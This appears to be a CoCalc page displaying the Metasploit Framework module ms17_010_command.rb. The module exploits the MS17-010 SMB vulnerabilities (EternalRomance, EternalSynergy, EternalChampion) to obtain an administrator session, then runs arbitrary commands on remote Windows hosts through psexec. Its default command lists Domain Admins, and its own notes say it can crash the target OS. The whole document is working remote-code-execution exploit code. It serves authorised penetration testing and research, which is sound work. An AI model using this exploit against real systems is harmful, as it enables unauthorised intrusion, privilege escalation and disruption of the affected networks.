Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/smb/ms17_010_command.rb
28452 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
8
include Msf::Exploit::Remote::SMB::Client::Psexec
9
include Msf::Auxiliary::Report
10
include Msf::Auxiliary::Scanner
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution',
17
'Description' => %q{
18
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
19
primitive. This will then be used to overwrite the connection session information with as an
20
Administrator session. From there, the normal psexec command execution is done.
21
22
Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
23
Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
24
exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
25
named pipe.
26
},
27
28
'Author' => [
29
'sleepya', # zzz_exploit idea and offsets
30
'zerosum0x0',
31
'Shadow Brokers',
32
'Equation Group'
33
],
34
35
'License' => MSF_LICENSE,
36
'References' => [
37
[ 'MSB', 'MS17-010' ],
38
[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
39
[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
40
[ 'CVE', '2017-0147'], # for EternalRomance reference
41
[ 'URL', 'https://github.com/worawit/MS17-010' ],
42
[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
43
[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
44
[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ],
45
],
46
'DisclosureDate' => '2017-03-14',
47
'Notes' => {
48
'AKA' => [
49
'ETERNALSYNERGY',
50
'ETERNALROMANCE',
51
'ETERNALCHAMPION',
52
'ETERNALBLUE' # does not use any CVE from Blue, but Search should show this, it is preferred
53
],
54
'Stability' => [CRASH_OS_DOWN],
55
'SideEffects' => [IOC_IN_LOGS],
56
'Reliability' => []
57
}
58
)
59
)
60
61
register_options([
62
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
63
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
64
OptPort.new('RPORT', [true, 'The Target port', 445]),
65
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
66
])
67
68
register_advanced_options([
69
OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files', '']),
70
OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]),
71
OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]),
72
])
73
74
deregister_options('SMB::ProtocolVersion')
75
end
76
77
def run_host(ip)
78
if datastore['SMBUser'].present?
79
print_status("Authenticating to #{ip} as user '#{splitname(datastore['SMBUser'])}'...")
80
end
81
eternal_pwn(ip) # exploit Admin session
82
smb_pwn(ip) # psexec
83
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
84
print_error(e.message.to_s)
85
rescue ::Errno::ECONNRESET,
86
::Rex::HostUnreachable,
87
::Rex::Proto::SMB::Exceptions::LoginError,
88
::Rex::ConnectionTimeout,
89
::Rex::ConnectionRefused => e
90
print_error("#{e.class}: #{e.message}")
91
rescue StandardError => e
92
print_error(e.class.to_s)
93
print_error(e.message)
94
print_error(e.backtrace.join("\n"))
95
ensure
96
eternal_cleanup # restore session
97
end
98
99
def smb_pwn(ip)
100
text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
101
bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
102
@smbshare = datastore['SMBSHARE']
103
@ip = ip
104
105
# Try and authenticate with given credentials
106
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, delay: datastore['DELAY'], retries: datastore['RETRY'])
107
108
# Report output
109
print_good('Command completed successfully!')
110
print_status("Output for \"#{datastore['COMMAND']}\":\n")
111
print_line("#{output}\n")
112
report_note(
113
:rhost => datastore['RHOSTS'],
114
:rport => datastore['RPORT'],
115
:type => "psexec_command",
116
:name => datastore['COMMAND'],
117
:data => { :command_output => output }
118
)
119
end
120
end
121
122